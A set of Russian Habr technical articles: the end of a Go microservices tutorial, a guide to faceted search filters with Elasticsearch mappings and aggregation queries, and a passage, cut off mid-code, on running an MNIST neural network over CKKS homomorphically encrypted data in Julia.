В APIService я точно не буду обрабатывать данные списка категорий, а просто отдам их клиенту. Поэтому я вовремя одумался и зарефакторил код клиента, чтобы отдавать массив байт. В клиенте я их вычитываю методом ReadAll из пакета ioutil, а в хендлере сразу отдаю клиенту методом w.Write. Также удалил модель Category, так как она не нужна. При создании категории по всем правилам REST я отдаю заголовок Location с uuid созданной категории. Я мог бы не парсить заголовок от CategoryService, так как ендпоинты совпадают, но они могут перестать совпадать. Чтобы избежать багов, я решил распарсить сразу.
Также из контекста я забираю значение по ключу httprouter.ParamsKey и кастую в httprouter.Params. Значение в контекст кладёт библиотека роутера, которую я использую. Это удобный и быстрый способ получить значения из Query Path. В методах удаления и обновления категории я отдаю код ответа «204 No Content», а при создании категории отдаю «201 Created». Также в методе генерации токена доступа JWT я захардкодил UUID пользователя, который был создан в БД, чтобы протестировать решение. Этот хардкод уберётся, когда появится UserService.
В точке входа app.go я создаю клиента к CategoryService. Мне нужен URL до API сервиса. Его мы будем забирать из конфига, поэтому добавим эту настройку в конфиг, в код и в YAML- файл. Далее пишем тесты на все ручки хендлера и запускаем.
В следующей части мы займёмся разработкой микросервисов NoteService, TagService и UserService. | https://habr.com/ru/post/582500/ | null | ru | null |
# Фасетные фильтры: как готовить и с чем подавать
О чем речь
==========
Как сделать фасетный поиск в интернет-магазине? Как формируются значения в фильтрах фасетного поиска? Как выбор значения в фильтре влияет на значения в соседних фильтрах? В поиске ответов дошел до пятой страницы поисковой выдачи Google. Исчерпывающей информации не нашел, пришлось разобраться самому. Статья описывает:
1. как реагирует UI, когда пользователь использует фильтры;
2. алгоритм формирования значений фильтров;
3. шаблоны запросов и структуры индекса ElasticSearch с пояснениями.
Здесь нет готовых решений. Скопировать и вставить не получится. Для решения собственной задачи придется вникнуть.
Понятия, чтобы было понятно
===========================
**Полнотекстовый поиск** — поиск товаров по слову или фразе. Для пользователя — это поле для ввода текста с кнопкой «Найти», которое доступно на любой странице сайта.
**Фасетный поиск** — поиск товара по нескольким характеристикам: цвету, размеру, объему памяти, цене и т.п. Для пользователя — это набор фильтров. Каждый фильтр связан только с одной характеристикой и наоборот. Значения фильтра — все возможные значения характеристики. Пользователь видит фильтры на странице раздела, категории, на странице с результатами полнотекстового поиска. Когда пользователь выбрал значение, фильтр считается активным.
Поведение фасетных фильтров
===========================
Коротко звучит так: фильтр фильтрует товары и фильтрует варианты выбора в других фильтрах.
Фильтрует товары
----------------
С этим просто. Пользователь выбрал:
1. одно значение, видит товары совпадающие со значением;
2. несколько значений в одном фильтре, видит товары совпадающие хотя бы с одним;
3. значения в нескольких фильтрах, видит товары совпадающие со значением из каждого фильтра.
В терминах булевой алгебры: **между фильтрами по действует логическое «И», между значениями в фильтре логическое «ИЛИ»**. Простая логика.
Фильтрует варианты выбора в других фильтрах
-------------------------------------------
«Ну… какие варианты есть — отображается, чего нет — скрывается» — примерно так бизнес описывает поведение фильтров. Звучит логично. На практике это работает так:
1. Заходим в раздел Телефоны, видим фильтры по характеристикам: Бренд, Диагональ, Память. Каждый фильтр содержит значения.
2. Выбираем бренд. Из фильтров Диагональ и Память пропадает часть значений. В фильтре Бренд все значения остаются как на шаге 1.
3. Выбираем диагональ. Еще часть значений пропадает из фильтра Память, и пропадает часть значений из фильтра Бренд. Значения в фильтре Диагональ остаются, как на шаге 2.
4. Выбираем память. Из фильтров Бренд и Диагональ пропадает еще часть значений. Значения для фильтра Память остаются, как на шаге 3.
5. «Сбрасываем» выбранные значения в фильтре Память. Фильтры восстанавливают состояние шага 3 и т.д.
Количество значений фильтра зависит от количества товаров: чем больше товаров с разным значением характеристики, тем больше значений в фильтре. Пользователь сократил количество товаров в выборке для остальных фильтров, когда выбрал бренд. Это привело к обновлению списков значений.
Отсюда вытекает универсальное правило: **значения фильтра извлекаются из выборки товаров, которая сформирована остальными активными фильтрами.**
Каждый активный фильтр имеет свою выборку товаров.
Если у нас N фильтров и:
* нет активных, то выборка общая. Она одинакова для всех фильтров, и совпадает с поисковой выдачей;
* активно M, и M < N, то количество выборок M + 1, где 1 — выборка на которую наложены все активные фильтры. Она одинакова для всех неактивных фильтров и совпадает с поисковой выдачей;
* активно M, и N = M, то количество выборок N. Каждый фильтр имеет свою выборку.
**В итоге,** когда пользователь выбирает значение фасетного фильтра, происходит следующее:
1. формируется поисковая выборка товаров;
2. извлекаются значения для не активных фильтров из поисковой выборки;
3. для каждого активного фильтра формируется новая выборка и из нее извлекаются новые значения активных фильтров.
Возникает вопрос — как это реализовать на практике?
Реализация на Elasticsearch (ES)
================================
Характеристики товара не универсальны, поэтому вы не найдете здесь готовую структуру индекса для хранения товаров или готовых запросов. Вместо этого будут ссылки на документацию с объяснениями, как самостоятельно построить «правильные» индексы и запросы. «Правильные» — на основе моего опыта и знаний.
«Правильные» типы текстовых полей
---------------------------------
В ES нас интересует 2 типа данных:
* [text](https://www.elastic.co/guide/en/elasticsearch/reference/current/text.html) для полнотекстового поиска. Поля этого типа невозможно использовать для точного сравнения, сортировки, агрегации;
* [keyword](https://www.elastic.co/guide/en/elasticsearch/reference/current/keyword.html) для строк, которые участвуют в операциях точного сравнения, сортировке, агрегации.
ES анализирует значения в поле с типом [text](https://www.elastic.co/guide/en/elasticsearch/reference/current/text.html) и формирует словарь для полнотекстового поиска. Значения в поле с типом [keyword](https://www.elastic.co/guide/en/elasticsearch/reference/current/keyword.html) индексируются в том виде, в котором получены. Агрегация и сортировка доступна только для полей с типом keyword.
Пользователь использует характеристики в обоих случаях: в полнотекстовом поиске и через фильтры. ES не позволяет назначить 2 типа одному полю, но предлагает другие решения:
[fields](https://www.elastic.co/guide/en/elasticsearch/reference/current/multi-fields.html#multi-fields)
```
PUT my_index
{
«mappings»: {
«properties»: {
«some_property»: {
«type»: «text», // 1
«fields»: { // 2
«raw»: {
«type»: «keyword»
}
}
}
}
}
}
```
1. характеристику товара объявляем как поле типа [text](https://www.elastic.co/guide/en/elasticsearch/reference/current/text.html).
2. через параметр fields создаем дочернее виртуальное поле типа [keyword](https://www.elastic.co/guide/en/elasticsearch/reference/current/keyword.html). Виртуальное, потому что присутствует в индексе и нет в описании товара. ES автоматически сохраняет данные в дочернее поле в том виде, как получил.
Так для каждой характеристики.
В запросах для операций точного сравнения, сортировки и агрегации нужно использовать дочернее виртуальное поле типа [keyword](https://www.elastic.co/guide/en/elasticsearch/reference/current/keyword.html). В примере это *some\_property.raw*. Для поиска по тексту — родительское.
[copy\_to](https://www.elastic.co/guide/en/elasticsearch/reference/current/copy-to.html).
```
PUT my_index
{
«mappings»: {
«properties»: {
«all_properties»: { // 1
«type»: «text»
}, «some_property_1»: {
«type»: «keyword»,
«copy_to»: «all_properties» // 2
},
«some_property_2»: {
«type»: «keyword»,
«copy_to»: «all_properties»
}
}
}
```
1. Создать в индексе виртуальное поле с типом [text](https://www.elastic.co/guide/en/elasticsearch/reference/current/text.html).
2. Каждую характеристику объявить как [keyword](https://www.elastic.co/guide/en/elasticsearch/reference/current/keyword.html) с параметром [copy\_to](https://www.elastic.co/guide/en/elasticsearch/reference/current/copy-to.html). Значением параметра указать виртуальное поле. ES копирует значение всех характеристик в виртуальное поле при сохранении документа.
Для операций точного сравнения, сортировки и агрегации нужно использовать поле характеристики, для поиска по тексту — поле со значениями всех характеристик.
Оба подхода создают в индексе дополнительные поля, которые отсутствуют в исходной структуре документа. Поэтому для создания запроса нужно знать структуру индекса.
Я предпочитаю вариант с [copy\_to](https://www.elastic.co/guide/en/elasticsearch/reference/current/copy-to.html). Тогда для построения запроса полнотекстового поиска достаточно знать одно поле с копией значений всех характеристик.
Запросы
-------
### Для поиска товаров
Будем считать, что структура индекса как в варианте с [copy\_to](https://www.elastic.co/guide/en/elasticsearch/reference/current/copy-to.html). Для полнотекстового поиска в ES используется конструкция [match](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-match-query.html), для сравнения со значениями фасетных фильтров — [terms query](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-terms-query.html#query-dsl-terms-query). [boolean query](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-bool-query.html) объединяет конструкции в один запрос. Он будет примерно таким:
```
{
«query» : {
«bool»: {
«must»: {
«match»: {
«virtual_field_for_fulltext_searching»: {
«query»: «some text»
}
}
},
«filter»: {
«must»: [
{«property_1»: [ «value_1_1», …, «value_1_n»]},
…
{«property_n»: [ «value_n_1», …, «value_n_m»]}
]
}
}
}
}
```
**query.bool.must.match** основной запрос на полнотекстовый поиск
**query.bool.filter** фильтры для уточнения основного запроса. **must** внутри означает логическое «и» между фильтрами. Массив значений в каждом фильтре — логическое «или».
### Для значений фильтров
Конструкция [terms aggregation](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations-bucket-terms-aggregation.html#search-aggregations-bucket-terms-aggregation) группирует товары по значениям характеристики и вычисляет количество в каждой группе. Такая операция называется агрегация. Сложность в том, что для каждого активного фильтра [terms aggregation](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations-bucket-terms-aggregation.html#search-aggregations-bucket-terms-aggregation) должна выполнится на выборке товаров, сформированной другими активными фильтрами. Для не активных фильтров — на выборке совпадающей с поисковой выдачей. Конструкция [filter aggregation](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations-bucket-filter-aggregation.html#search-aggregations-bucket-filter-aggregation) позволяет сформировать для каждой агрегации отдельную выборку и «упаковать» операции в один запрос.
Структура запроса будет такой:
```
{
«size»: 0,
«query» : {
«bool»: {
«must»: {
«match»: {
«field_for_fulltext_searching»: {
«fuzziness»: 2,
«query»: «some text»
}
}
},
«filter»: {
}
}
},
«aggs» : {
«inavtive_filter_agg» : {
«filter» : { …
},
«aggs»: {
«some_inavtive_filter_subagg»: {
«terms» : {
«field» : «some_property»
}
},
...
«some_other_inavtive_filter_subagg»: {
«terms» : {
«field» : «some_other_property»
}
}
}
},
«active_filter_1_agg» : {
«filter»: {
… },
«aggs»: {
«active_filter_1_subagg»: {
«terms» : {
«field»: «property_1»
}
}
}
},
…,
«active_filter_N_agg» : {
«filter»: {
…
},
«aggs»: {
«active_filter_N_subagg»: {
«terms» : {
«field»: «property_N»
}
}
}
}
}
}
```
**query.bool** — основной запрос, операции фильтрации выполняются в его контексте. Он состоит из:
* **match —** запрос на полнотекстовый поиск;
* **filters —** фильтры по характеристикам, которые не связаны с фасетными фильтрами и должны присутствовать в любом подмножестве. Это может быть фильтр по in\_stock, is\_visible, если всегда нужно показывать только товары в наличии или только видимые.
**aggs.inavtive\_filter\_agg —** агрегация для неактивных фасетных фильтров состоит из:
* **filter -** условия по характеристикам, которые сформированы активными фасетными фильтрами. Вместе с основным запросом формируют выборку товаров, на котором выполняются дочерние агрегации этого раздела;
* **aggs** — это объект из именованных агрегаций для каждого не активного фильтра.
**aggs.active\_filter\_1\_agg —** агрегация получения значений первого из активных фасетных фильтров. Каждая конструкция связана с одним фасетным фильтром. Состоит из:
* **filter** — условия по характеристикам, которые сформированы активными фасетными фильтрами, кроме текущего. Вместе с основным запросом формирует выборку товаров, на котором выполняется дочерняя агрегация этого раздела;
* **aggs** — объект из одной агрегации по характеристике текущего активного фасетного фильтра.
Важно указать **«size»: 0**, иначе получите список товаров соответствующих основному запросу без агрегаций.
### В итоге
Получили два запроса:
1. для поисковой выдачи, возвращает товары для отображения пользователю;
2. для значений фильтров, выполняет агрегацию, возвращает значения фильтров и количество товаров с таким значением.
Каждый запрос самодостаточен, поэтому лучше выполнять их асинхронно.
P.S. Допускаю, существуют более «правильные» подходы и инструменты для решения задачи фасетного поиска. Буду благодарен за дополнительную информацию и примеры в комментариях. | https://habr.com/ru/post/517074/ | null | ru | null |
# Применение зашифрованных данных для машинного обучения без их расшифровки
Применение зашифрованных данных для машинного обучения без их расшифровки
В этой статье обсуждаются передовые криптографические методики. Это лишь обзор исследований, проводимых в Julia Computing. Не используйте приведённые здесь примеры в коммерческих приложениях. Всегда консультируйтесь с криптографами, прежде чем применять криптографию.
[Здесь](https://github.com/JuliaComputing/ToyFHE.jl) можно скачать пакет, реализующий всю магию, а [здесь](https://github.com/JuliaComputing/ToyFHE.jl/blob/master/examples/encrypted_mnist/infer.jl) находится код, который рассматривается в статье.
Введение
--------
Допустим, вы только что разработали новую классную модель машинного обучения (конечно, с помощью [Flux.jl](https://github.com/FluxML/Flux.jl)). И теперь хотите начать развёртывать её для своих пользователей. Как вы будете это делать? Наверное, проще всего будет отдать модель пользователям и позволить прогонять её локально на их данных. Но у такого подхода есть недостатки:
1. Модели машинного обучения велики, и пользовательские компьютеры могут не иметь достаточного количества вычислительных или дисковых ресурсов.
2. Модели машинного обучения часто обновляются, и вам может быть неудобно регулярно рассылать по сети большие объёмы данных.
3. Разработка моделей занимает много времени и требует большого количества вычислительных ресурсов. И вы можете захотеть компенсацию за это в виде платы за пользование вашей моделью.
Затем обычно вспоминают о том, что модель можно предоставлять в облаке через API. За последние несколько лет появилось много таких сервисов, каждая крупная облачная платформа предлагает подобные услуги корпоративным разработчикам. Но потенциальные пользователи сталкиваются с очевидной дилеммой: теперь их данные обрабатываются на удалённом сервере, который может не заслуживать доверия. У этого есть явные этические и юридические последствия, ограничивающие применение подобных сервисов. В регулируемых законодательством отраслях, особенно в здравоохранении и финансовых услугах, часто нельзя отправлять данные пациентов и клиентов на обработку третьим лицам.
Есть другие варианты?
Оказывается, есть! Недавние открытия в криптографии позволяют проводить вычисления с данными *без их расшифровки*. Например, пользователь отправляет зашифрованные данные (скажем, изображения) в облачный API, который запускает модель машинного обучения, а затем отправляет зашифрованный ответ. Ни на одном из этапов данные не расшифровываются, облачный провайдер не получает доступа к исходным изображениям и не может расшифровать вычисленный прогноз. Как такое возможно? Давайте выясним это на примере создания сервиса для распознавания рукописного текста на зашифрованных изображениях из датасета MNIST.
О гомоморфном шифровании
------------------------
Возможность проводить вычисления с зашифрованными данными обычно называют «безопасными вычислениями». Это большая область для исследования, с многочисленными подходами к криптографии в зависимости от всевозможных сценариев применения. Мы сосредоточимся на методике под названием «гомоморфное шифрование». В такой системе нам обычно доступны следующие операции:
* `pub_key, eval_key, priv_key = keygen()`
* `encrypted = encrypt(pub_key, plaintext)`
* `decrypted = decrypt(priv_key, encrypted)`
* `encrypted′ = eval(eval_key, f, encrypted)`
Первые три операции просты и знакомы всем, кто уже использовал любые алгоритмы асимметричного шифрования (например, если вы подключились через TLS). Вся магия происходит в последней операции. При шифровании она оценивает функцию `f` и возвращает другое зашифрованное значение, вычисленное в соответствии с результатом оценки `f` на зашифрованном значении. Эта особенность и дала такому подходу его название. Оценка связана с операцией шифрования:
```
f(decrypt(priv_key, encrypted)) == decrypt(priv_key, eval(eval_key, f, encrypted))
```
Аналогично, можно с помощью зашифрованного значения оценить произвольные гомоморфизмы `f`.
Какие поддерживаются функции `f`, зависит от криптографических схем и поддерживаемых операций. Если поддерживается лишь одна `f` (например, `f = +`), то схема называется «частично гомоморфной». Если `f` может быть любым полным набором шлюзов, на основе которого можно создать произвольные схемы, то при ограниченном размере схемы это называется другой разновидностью частично гомоморфного вычисления — «в некотором роде гомоморфное», а при неограниченном размере — «полностью гомоморфным» вычислением. Можно превратить «в некотором роде» в полностью гомоморфное шифрование с помощью методики bootstrapping, но это выходит за рамки нашей статьи. Полностью гомоморфное шифрование — относительно недавнее открытие, первая рабочая схема (хотя и непрактичная) была опубликована [Крейгом Джентри в 2009-м](https://www.cs.cmu.edu/~odonnell/hits09/gentry-homomorphic-encryption.pdf). Есть и ряд более поздних (и практичных) полностью гомоморфных схем. Также есть программные пакеты, которые качественно реализуют эти схемы. Чаще всего используют [Microsoft SEAL](https://github.com/microsoft/SEAL) и [PALISADE](https://palisade-crypto.org/). Кроме того, недавно я открыл код реализации этих алгоритмов [Pure Julia](https://github.com/JuliaComputing/ToyFHE.jl). Для этой статьи мы будем использовать реализованное в ней шифрование CKKS.
Обзор CKKS
----------
CKKS (по именам авторов [научной работы](https://eprint.iacr.org/2016/421.pdf) Cheon-Kim-Kim-Song, предложивших алгоритм в 2016-м) — это схема гомоморфного шифрования, позволяющая гомоморфно оценивать следующие примитивные операции:
* Поэлементное сложение длин `n` векторов комплексных чисел.
* Поэлементное умножение длин `n` комплексных векторов.
* Поворачивание (в контексте `circshift`) элементов в векторе.
* Комплексное сопряжение векторных элементов.
Параметр `n` зависит от желаемого уровня безопасности и точности, и обычно он довольно высок. В нашем примере он будет равен 4096 (более высокое значение повышает безопасность, но и тяжелее в вычислениях, масштабируется примерно как `n log n`).
Кроме того, вычисления с помощью CKKS являются *шумными*. Поэтому результаты получаются приблизительными, и нужно позаботиться о том, чтобы результаты оценивались с достаточной точностью, чтобы не повлиять на корректность результата.
С другой стороны, подобные ограничения не являются чем-то необычным для разработчиков пакетов для машинного обучения. Специальные ускорители вроде GPU тоже обычно оперируют векторами чисел. Кроме того, для многих разработчиков числа с плавающей запятой иногда выглядят шумными из-за влияния алгоритмов выбора, многопоточности и так далее. Хочу подчеркнуть, что ключевым отличием здесь является то, что арифметические вычисления с числами с плавающей запятой являются изначально детерминистскими, даже если это не очевидно из-за сложности реализации, хотя примитивы CKKS действительно являются шумными. Но, быть может, это позволяет пользователям понять, что шумность не так страшна, как может показаться.
Теперь давайте посмотрим, как можно выполнять эти операции в Julia (примечание: выбраны очень небезопасные параметры, с помощью этих операций мы лишь иллюстрируем использование библиотеки в REPL).
```
julia> using ToyFHE
# Let's play with 8 element vectors
julia> N = 8;
# Choose some parameters - we'll talk about it later
julia> ℛ = NegacyclicRing(2N, (40, 40, 40))
ℤ₁₃₂₉₂₂₇₉₉₇₅₆₈₀₈₁₄₅₇₄₀₂₇₀₁₂₀₇₁₀₄₂₄₈₂₅₇/(x¹⁶ + 1)
# We'll use CKKS
julia> params = CKKSParams(ℛ)
CKKS parameters
# We need to pick a scaling factor for a numbers - again we'll talk about that later
julia> Tscale = FixedRational{2^40}
FixedRational{1099511627776,T} where T
# Let's start with a plain Vector of zeros
julia> plain = CKKSEncoding{Tscale}(zero(ℛ))
8-element CKKSEncoding{FixedRational{1099511627776,T} where T} with indices 0:7:
0.0 + 0.0im
0.0 + 0.0im
0.0 + 0.0im
0.0 + 0.0im
0.0 + 0.0im
0.0 + 0.0im
0.0 + 0.0im
0.0 + 0.0im
# Ok, we're ready to get started, but first we'll need some keys
julia> kp = keygen(params)
CKKS key pair
julia> kp.priv
CKKS private key
julia> kp.pub
CKKS public key
# Alright, let's encrypt some things:
julia> foreach(i->plain[i] = i+1, 0:7); plain
8-element CKKSEncoding{FixedRational{1099511627776,T} where T} with indices 0:7:
1.0 + 0.0im
2.0 + 0.0im
3.0 + 0.0im
4.0 + 0.0im
5.0 + 0.0im
6.0 + 0.0im
7.0 + 0.0im
8.0 + 0.0im
julia> c = encrypt(kp.pub, plain)
CKKS ciphertext (length 2, encoding CKKSEncoding{FixedRational{1099511627776,T} where T})
# And decrypt it again
julia> decrypt(kp.priv, c)
8-element CKKSEncoding{FixedRational{1099511627776,T} where T} with indices 0:7:
0.9999999999995506 - 2.7335193113350057e-16im
1.9999999999989408 - 3.885780586188048e-16im
3.000000000000205 + 1.6772825551165524e-16im
4.000000000000538 - 3.885780586188048e-16im
4.999999999998865 + 8.382500573679615e-17im
6.000000000000185 + 4.996003610813204e-16im
7.000000000001043 - 2.0024593503998215e-16im
8.000000000000673 + 4.996003610813204e-16im
# Note that we had some noise. Let's go through all the primitive operations we'll need:
julia> decrypt(kp.priv, c+c)
8-element CKKSEncoding{FixedRational{1099511627776,T} where T} with indices 0:7:
1.9999999999991012 - 5.467038622670011e-16im
3.9999999999978817 - 7.771561172376096e-16im
6.00000000000041 + 3.354565110233105e-16im
8.000000000001076 - 7.771561172376096e-16im
9.99999999999773 + 1.676500114735923e-16im
12.00000000000037 + 9.992007221626409e-16im
14.000000000002085 - 4.004918700799643e-16im
16.000000000001346 + 9.992007221626409e-16im
julia> csq = c*c
CKKS ciphertext (length 3, encoding CKKSEncoding{FixedRational{1208925819614629174706176,T} where T})
julia> decrypt(kp.priv, csq)
8-element CKKSEncoding{FixedRational{1208925819614629174706176,T} where T} with indices 0:7:
0.9999999999991012 - 2.350516767363621e-15im
3.9999999999957616 - 5.773159728050814e-15im
9.000000000001226 - 2.534464540987068e-15im
16.000000000004306 - 2.220446049250313e-15im
24.99999999998865 + 2.0903753311370056e-15im
36.00000000000222 + 4.884981308350689e-15im
49.000000000014595 + 1.0182491378134327e-15im
64.00000000001077 + 4.884981308350689e-15im
```
Вот так просто! Внимательный читатель мог заметить, что CSQ немного отличается от предыдущего шифротекста. В частности, у шифротекста «длина 3» и масштаб куда больше. Объяснение, что это и для чего нужно, выходит за рамки статьи. Достаточно сказать, что нам нужно снизить значения, прежде чем продолжать вычисления, иначе в шифротексте кончится «место». К счастью, мы можем уменьшить каждое из двух выросших значений:
```
# To get back down to length 2, we need to `keyswitch` (aka
# relinerarize), which requires an evaluation key. Generating
# this requires the private key. In a real application we would
# have generated this up front and sent it along with the encrypted
# data, but since we have the private key, we can just do it now.
julia> ek = keygen(EvalMultKey, kp.priv)
CKKS multiplication key
julia> csq_length2 = keyswitch(ek, csq)
CKKS ciphertext (length 2, encoding CKKSEncoding{FixedRational{1208925819614629174706176,T} where T})
# Getting the scale back down is done using modswitching.
julia> csq_smaller = modswitch(csq_length2)
CKKS ciphertext (length 2, encoding CKKSEncoding{FixedRational{1.099511626783e12,T} where T})
# And it still decrypts correctly (though note we've lost some precision)
julia> decrypt(kp.priv, csq_smaller)
8-element CKKSEncoding{FixedRational{1.099511626783e12,T} where T} with indices 0:7:
0.9999999999802469 - 5.005163520332181e-11im
3.9999999999957723 - 1.0468514951188039e-11im
8.999999999998249 - 4.7588542623100616e-12im
16.000000000023014 - 1.0413447889166631e-11im
24.999999999955193 - 6.187833723406491e-12im
36.000000000002345 + 1.860733715346631e-13im
49.00000000001647 - 1.442396043149794e-12im
63.999999999988695 - 1.0722489563648028e-10im
```
Кроме того, modswitching (сокращение от modulus switching, переключение модуля) уменьшает размер модуля шифротекста, так что мы не можем продолжать делать это бесконечно долго (мы используем схему somewhat-гомоморфного шифрования):
```
julia> ℛ # Remember the ring we initially created
ℤ₁₃₂₉₂₂₇₉₉₇₅₆₈₀₈₁₄₅₇₄₀₂₇₀₁₂₀₇₁₀₄₂₄₈₂₅₇/(x¹⁶ + 1)
julia> ToyFHE.ring(csq_smaller) # It shrunk!
ℤ₁₂₀₈₉₂₅₈₂₀₁₄₄₅₉₃₇₇₉₃₃₁₅₅₃/(x¹⁶ + 1)
Осталось выполнить последнюю операцию — повороты (rotations). Как и в случае с keyswitch, для этого нам потребуется ключ оценки (evaluation key, также известный как ключ Галуа):
julia> gk = keygen(GaloisKey, kp.priv; steps=2)
CKKS galois key (element 25)
julia> decrypt(circshift(c, gk))
decrypt(kp, circshift(c, gk))
8-element CKKSEncoding{FixedRational{1099511627776,T} where T} with indices 0:7:
7.000000000001042 + 5.68459112632516e-16im
8.000000000000673 + 5.551115123125783e-17im
0.999999999999551 - 2.308655353580721e-16im
1.9999999999989408 + 2.7755575615628914e-16im
3.000000000000205 - 6.009767921608429e-16im
4.000000000000538 + 5.551115123125783e-17im
4.999999999998865 + 4.133860996136768e-17im
6.000000000000185 - 1.6653345369377348e-16im
# And let's compare to doing the same on the plaintext
julia> circshift(plain, 2)
8-element OffsetArray(::Array{Complex{Float64},1}, 0:7) with eltype Complex{Float64} with indices 0:7:
7.0 + 0.0im
8.0 + 0.0im
1.0 + 0.0im
2.0 + 0.0im
3.0 + 0.0im
4.0 + 0.0im
5.0 + 0.0im
6.0 + 0.0im
```
Мы рассмотрели основы использования библиотеки HE. Но прежде чем перейти к использованию этих примитивов для вычисления прогнозов нейросети, давайте рассмотрим процесс её обучения.
Модель машинного обучения
-------------------------
Если вы не знакомы с машинным обучением или библиотекой Flux.jl, то рекомендую кратко пробежаться по [документации Flux.jl](https://fluxml.ai/Flux.jl/stable/) или посмотреть бесплатное [введение в машинное обучение](https://juliaacademy.com/p/introduction-to-machine-learning), потому что мы будем обсуждать только изменения в применении модели к шифрованным данным.
Начнём с использования свёрточной нейросети [из зоопарка моделей Flux](https://github.com/FluxML/model-zoo/blob/master/vision/mnist/conv.jl). Выполним всё тот же цикл обучения, с подготовкой данных и прочим, лишь немного настроим модель. Вот она:
```
function reshape_and_vcat(x)
let y=reshape(x, 64, 4, size(x, 4))
vcat((y[:,i,:] for i=axes(y,2))...)
end
end
model = Chain(
# First convolution, operating upon a 28x28 image
Conv((7, 7), 1=>4, stride=(3,3), x->x.^2),
reshape_and_vcat,
Dense(256, 64, x->x.^2),
Dense(64, 10),
)
```
Это та же модель, что и в работе [«Secure Outsourced Matrix Computation and Application to Neural Networks»](https://eprint.iacr.org/2018/1041.pdf), которая использует ту же криптографическую схему с двумя отличиями: 1) ради простоты мы не стали шифровать саму модель, и 2) после каждого слоя у нас используются байесовские векторы (во Flux это делается по умолчанию), не уверен, что это было в упомянутой работе. Быть может, из-за второго пункта точность на тестовом наборе у нашей модели оказалась чуть выше (98,6 % против 98,1 %), но причиной могут быть и гиперпараметрические различия.
Необычным (для тех, у кого есть опыт в машинном обучении) является `x.^2`-активация функций. Чаще всего в подобных случаях используют `tanh`, `relu` или что-нибудь более причудливое. Но хотя эти функции (особенно `relu`) легко вычисляются для обычных текстовых значений, однако для их оценки в шифрованном виде может потребоваться много вычислительных ресурсов (обычно мы оцениваем полиномиальное приближение). К счастью, в данном случае `x.^2` прекрасно работает.
В остальном цикл обучения остался таким же. Мы удалили из модели `softmax` ради loss-функции `logitcrossentropy` (её можно было оставить и оценить softmax после расшифровки на клиенте). Полный код для обучения модели лежит [на GitHub](https://github.com/JuliaComputing/ToyFHE.jl/blob/master/examples/encrypted_mnist/train.jl), он выполняется за несколько минут на любой свежей видеокарте.
Эффективное выполнение операций
-------------------------------
Теперь мы знаем, какие операции нам нужно выполнить:
* Свёртывание.
* Поэлементное возведение в квадрат.
* Матричное умножение.
С возведением в квадрат всё просто, мы уже рассмотрели его выше, так что рассмотрим две другие операции. Будем считать, что длина пакета данных равна 64 (вы могли заметить, что параметры модели и размер пакета выбраны так, чтобы использовать преимущества 4096-элементного вектора, который мы получили в результате реалистического выбора параметров).
### Свёртывание
Вспомним, как работает свёртывание. Возьмём окно (в нашем случае 7х7) исходного входного массива, и каждый элемент окна умножим на элемент свёрточной маски. Затем передвинем окно на какой-то шаг (в нашем случае шаг равен 3, то есть двигаем на 3 элемента) и повторяем процесс (с той же свёрточной маской). Ниже показан анимация процесса ([источник](https://github.com/vdumoulin/conv_arithmetic)) для свёртки 3x3 с шагом `(2, 2)` (синий массив — входной, зелёный — выходной):
Кроме того, мы выполняем свёртки в четырёх разных «каналах» (то есть повторяем свёртывание ещё 3 раза с разными масками).
Теперь мы знаем, что нужно делать, осталось понять, как. Нам повезло, что свёртка — первая операция в нашей модели. В результате, чтобы сэкономить ресурсы, мы можем предварительно обработать данные на клиенте, а потом шифровать их (без использования весов). Сделаем вот что:
* Предварительно вычислим каждое свёрточное окно (то есть, выборку 7x7 из исходных изображений), что дает нам 64 матрицы 7x7 на каждое входное изображение. Обратите внимание, что для окна 7x7 с шагом 2 будут свёрточные окна 8x8 для оценки входного изображения 28x28.
* Соберём в один вектор одинаковые позиции в каждом окне. То есть, для каждого изображения у нас будет 64-элементный вектор, либо вектор из 64х64 элементов для пакета размером 64 (всего 49 матриц 64х64).
* Зашифруем.
Затем свертывание просто превращается в скалярное умножение всей матрицы с соответствующим элементом маски. А просуммировав позднее все 49 элементов, мы получим результат свёртывания. Вот как может выглядеть реализация этой стратегии (в виде обычного текста):
```
function public_preprocess(batch)
ka = OffsetArray(0:7, 0:7)
# Create feature extracted matrix
I = [[batch[i′*3 .+ (1:7), j′*3 .+ (1:7), 1, k] for i′=ka, j′=ka] for k = 1:64]
# Reshape into the ciphertext
Iᵢⱼ = [[I[k][l...][i,j] for k=1:64, l=product(ka, ka)] for i=1:7, j=1:7]
end
Iᵢⱼ = public_preprocess(batch)
# Evaluate the convolution
weights = model.layers[1].weight
conv_weights = reverse(reverse(weights, dims=1), dims=2)
conved = [sum(Iᵢⱼ[i,j]*conv_weights[i,j,1,channel] for i=1:7, j=1:7) for channel = 1:4]
conved = map(((x,b),)->x .+ b, zip(conved, model.layers[1].bias))
```
Это (модуль изменения размерности) (по модулю — изменение порядка размеров) дает такой же ответ, как и операции `model.layers[1](batch)`.
Добавим операции шифрования:
```
Iᵢⱼ = public_preprocess(batch)
C_Iᵢⱼ = map(Iᵢⱼ) do Iij
plain = CKKSEncoding{Tscale}(zero(plaintext_space(ckks_params)))
plain .= OffsetArray(vec(Iij), 0:(N÷2-1))
encrypt(kp, plain)
end
weights = model.layers[1].weight
conv_weights = reverse(reverse(weights, dims=1), dims=2)
conved3 = [sum(C_Iᵢⱼ[i,j]*conv_weights[i,j,1,channel] for i=1:7, j=1:7) for channel = 1:4]
conved2 = map(((x,b),)->x .+ b, zip(conved3, model.layers[1].bias))
conved1 = map(ToyFHE.modswitch, conved2)
```
Обратите внимание, что здесь не требуется keyswitch, потому что веса являются публичными. Так что мы не увеличиваем длину шифротекста.
### Матричное умножение
Перейдя к матричному умножению, мы можем воспользоваться поворотом элементов в векторе, чтобы изменить порядок индексов умножения. Рассмотрим построчное размещение матричных элементов в векторе. Если сдвинуть вектор на значение, кратное размеру строки, то получим эффект поворота столбцов, который является достаточным примитивом для реализации матричного умножения (как минимум квадратных матрицы). Попробуем:
```
function matmul_square_reordered(weights, x)
sum(1:size(weights, 1)) do k
# We rotate the columns of the LHS and take the diagonal
weight_diag = diag(circshift(weights, (0,(k-1))))
# We rotate the rows of the RHS
x_rotated = circshift(x, (k-1,0))
# We do an elementwise, broadcast multiply
weight_diag .* x_rotated
end
end
